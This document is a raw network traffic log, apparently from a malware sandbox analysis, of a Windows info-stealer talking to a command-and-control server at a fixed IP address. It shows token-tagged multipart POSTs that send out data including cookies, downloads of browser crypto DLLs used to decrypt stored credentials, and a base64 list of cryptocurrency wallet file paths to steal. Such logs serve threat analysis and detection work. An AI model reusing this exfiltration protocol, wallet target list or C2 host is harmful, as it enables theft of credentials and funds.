Nov 25, 2024 12:08:41.896877050 CET	3087	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 46 42 41 45 43 42 41 45 47 44 47 44 48 49 45 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 38 62 32 30 37 Data Ascii: ------BKFBAECBAEGDGDHIEHIJContent-Disposition: form-data; name="token"b8b2075c283ad5103068ae5e3258aefe7df4325d5ffd268f729978c4bab6f55d9b474012------BKFBAECBAEGDGDHIEHIJContent-Disposition: form-data; name="file_name"Y29va2llc1xNa
Nov 25, 2024 12:08:43.525811911 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:08:42 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 25, 2024 12:08:43.607378006 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHDGIJJDGCBKFIDHIEBK Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 48 44 47 49 4a 4a 44 47 43 42 4b 46 49 44 48 49 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 38 62 32 30 37 35 63 32 38 33 61 64 35 31 30 33 30 36 38 61 65 35 65 33 32 35 38 61 65 66 65 37 64 66 34 33 32 35 64 35 66 66 64 32 36 38 66 37 32 39 39 37 38 63 34 62 61 62 36 66 35 35 64 39 62 34 37 34 30 31 32 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 47 49 4a 4a 44 47 43 42 4b 46 49 44 48 49 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 47 49 4a 4a 44 47 43 42 4b 46 49 44 48 49 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------EHDGIJJDGCBKFIDHIEBKContent-Disposition: form-data; name="token"b8b2075c283ad5103068ae5e3258aefe7df4325d5ffd268f729978c4bab6f55d9b474012------EHDGIJJDGCBKFIDHIEBKContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------EHDGIJJDGCBKFIDHIEBKContent-Disposition: form-data; name="file"------EHDGIJJDGCBKFIDHIEBK--
Nov 25, 2024 12:08:44.550756931 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:08:43 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 25, 2024 12:08:45.075232983 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 25, 2024 12:08:45.529458046 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:08:45 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Nov 25, 2024 12:08:45.529531956 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO?t0
Nov 25, 2024 12:08:45.529544115 CET	1236	IN	Data Raw: 55 07 08 00 83 c4 08 eb ce cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 83 ec 58 89 4c 24 2c 8b 7d 1c a1 b4 30 0a 10 31 e8 89 44 24 50 c7 44 24 3c 10 00 00 00 83 ff 18 72 19 89 f8 83 e0 07 75 12 8d 47 f8 3b 45 14 76 14 68 03 e0 ff Data Ascii: UUSWVXL$,}01D$PD$<ruG;Evhh\|$,}uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$
Nov 25, 2024 12:08:45.529623985 CET	1236	IN	Data Raw: 55 89 e5 53 57 56 83 ec 24 8b 4d 1c 8b 75 0c a1 b4 30 0a 10 31 e8 89 45 f0 8b 7d 08 8d 59 f8 83 f9 10 75 32 8d 45 dc 8d 4d e0 6a 10 ff 75 18 6a 10 50 51 57 e8 f7 93 06 00 83 c4 18 89 c7 8d 75 e8 83 45 dc f8 c7 45 d8 00 00 00 00 85 ff 0f 85 b4 01 Data Ascii: USWV$Mu01E}Yu2EMjujPQWuEEC1;]vS{EE1uuSPVEPo9]SUYY)ZYEME]M)19D
Nov 25, 2024 12:08:45.529707909 CET	496	IN	Data Raw: 00 00 00 0f 57 c8 0f 11 8c 0e 9c 00 00 00 83 c1 20 83 c3 fe 75 a6 eb 02 31 c9 f6 c2 01 74 28 0f 10 04 0f 0f 10 4c 0e 0c 0f 57 c8 0f 10 84 0e 8c 00 00 00 0f 11 4c 0e 0c 0f 10 0c 0f 0f 57 c8 0f 11 8c 0e 8c 00 00 00 31 db 8b 55 ac 39 c2 74 6b f6 c2 Data Ascii: W u1t(LWLW1U9tkt0T0U19t<f.0L0L0LL09uM17L^_[]USWVh1
Nov 25, 2024 12:08:45.529716969 CET	1236	IN	Data Raw: 89 5e 04 8b 4b 04 ff 15 00 80 0a 10 ff d1 89 06 bb ff ff ff ff 85 c0 74 3d 89 f1 8b 55 10 ff 75 18 ff 75 14 e8 23 fc ff ff 83 c4 08 85 c0 74 1c 8b 3e 85 ff 74 20 8b 46 04 8b 48 0c ff 15 00 80 0a 10 6a 01 57 ff d1 83 c4 08 eb 0a 8b 45 ec 8b 4d f0 Data Ascii: ^Kt=Uuu#t>t FHjWEM1^_[]USWVu>FHW>FHXSVW^_[]USWVu}E@HWVS^_[]USWVPM}G9vh
Nov 25, 2024 12:08:45.530195951 CET	1236	IN	Data Raw: 01 d7 0f b6 8c 05 ef fe ff ff 01 f9 0f b6 f9 0f b6 1c 3e 88 5c 06 ff 88 14 3e 3d 00 01 00 00 74 25 0f b6 14 06 0f b6 f9 01 d7 0f b6 8c 05 f0 fe ff ff 01 f9 0f b6 f9 0f b6 1c 3e 88 1c 06 88 14 3e 83 c0 02 eb b2 66 c7 86 00 01 00 00 00 00 89 f7 8b Data Ascii: >\>=t%>>fM1^_[]U}thuo]UVuE9sh;UMVuPu^]USWV4MEE9Eshy
Nov 25, 2024 12:08:45.530206919 CET	1236	IN	Data Raw: 66 0f 70 fe e8 66 0f 70 ed e8 66 0f 62 fd 66 0f 6e 6c 07 04 66 0f ef db 66 0f 60 eb 66 0f 61 eb 66 0f ef db 66 0f eb f9 66 0f 72 f4 17 66 0f fe 25 e0 20 08 10 f3 0f 5b cc 66 0f 70 e5 f5 66 0f f4 e9 66 0f 70 f5 e8 66 0f 70 c9 f5 66 0f f4 cc 66 0f Data Ascii: fpfpfbfnlff`fafffrf% [fpffpfpffpfbffof fnf`fafrfo- f[fpffpffof%!fpfpfbfnTf`faffrf[fpffpffpfp
Nov 25, 2024 12:08:45.530216932 CET	1236	IN	Data Raw: d6 89 75 e0 8b 45 e8 8b 4d ec 01 c8 83 c0 01 0f b6 c0 8b 4d f0 0f b6 0c 01 00 cb 0f b6 f3 8b 55 f0 0f b6 14 32 8b 7d f0 88 14 07 8b 45 f0 88 0c 30 00 ca 0f b6 c2 8b 4d f0 0f b6 04 01 89 45 cc 8b 45 e8 8b 4d ec 8d 4c 01 02 0f b6 c9 8b 45 f0 0f b6 Data Ascii: uEMMU2}E0MEEMLEE0}M1MMEUU}47}4E0UMUU}47}4M1uU
Nov 25, 2024 12:08:45.537853003 CET	1236	IN	Data Raw: ff 8b b5 74 ff ff ff 8b 46 30 89 85 30 ff ff ff 8b 8d dc fe ff ff 8b 51 18 89 95 b8 fe ff ff 01 c2 8b 76 34 89 b5 2c ff ff ff 8b 41 1c 89 85 bc fe ff ff 89 c7 11 f7 8b 41 38 89 85 d8 fe ff ff 01 c2 89 55 d0 8b 41 3c 11 c7 89 7d e4 89 c6 89 85 b4 Data Ascii: tF00Qv4,AA8UA<}5[dy!~6_U:O31\tS8ES<]\E]1d1dMM}1
Nov 25, 2024 12:08:47.073856115 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 25, 2024 12:08:47.519547939 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:08:47 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Nov 25, 2024 12:08:48.412897110 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 25, 2024 12:08:48.859965086 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:08:48 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Nov 25, 2024 12:08:49.542501926 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 25, 2024 12:08:49.991499901 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:08:49 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Nov 25, 2024 12:08:53.157285929 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 25, 2024 12:08:53.605743885 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:08:53 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Nov 25, 2024 12:08:54.296267986 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 25, 2024 12:08:54.741826057 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:08:54 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Nov 25, 2024 12:08:55.578130007 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJJJDAAECGHDGDGCGHDB Host: 185.215.113.206 Content-Length: 1003 Connection: Keep-Alive Cache-Control: no-cache
Nov 25, 2024 12:08:56.687256098 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:08:55 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 25, 2024 12:08:56.895694971 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKEGIDGDGHCAAAAKKFCG Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 45 47 49 44 47 44 47 48 43 41 41 41 41 4b 4b 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 38 62 32 30 37 35 63 32 38 33 61 64 35 31 30 33 30 36 38 61 65 35 65 33 32 35 38 61 65 66 65 37 64 66 34 33 32 35 64 35 66 66 64 32 36 38 66 37 32 39 39 37 38 63 34 62 61 62 36 66 35 35 64 39 62 34 37 34 30 31 32 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 47 49 44 47 44 47 48 43 41 41 41 41 4b 4b 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 47 49 44 47 44 47 48 43 41 41 41 41 4b 4b 46 43 47 2d 2d 0d 0a Data Ascii: ------JKEGIDGDGHCAAAAKKFCGContent-Disposition: form-data; name="token"b8b2075c283ad5103068ae5e3258aefe7df4325d5ffd268f729978c4bab6f55d9b474012------JKEGIDGDGHCAAAAKKFCGContent-Disposition: form-data; name="message"wallets------JKEGIDGDGHCAAAAKKFCG--
Nov 25, 2024 12:08:57.344120026 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:08:57 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Nov 25, 2024 12:08:57.548830986 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFHIIEHJKKECGCBFIIJD Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 46 48 49 49 45 48 4a 4b 4b 45 43 47 43 42 46 49 49 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 38 62 32 30 37 35 63 32 38 33 61 64 35 31 30 33 30 36 38 61 65 35 65 33 32 35 38 61 65 66 65 37 64 66 34 33 32 35 64 35 66 66 64 32 36 38 66 37 32 39 39 37 38 63 34 62 61 62 36 66 35 35 64 39 62 34 37 34 30 31 32 0d 0a 2d 2d 2d 2d 2d 2d 43 46 48 49 49 45 48 4a 4b 4b 45 43 47 43 42 46 49 49 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 43 46 48 49 49 45 48 4a 4b 4b 45 43 47 43 42 46 49 49 4a 44 2d 2d 0d 0a Data Ascii: ------CFHIIEHJKKECGCBFIIJDContent-Disposition: form-data; 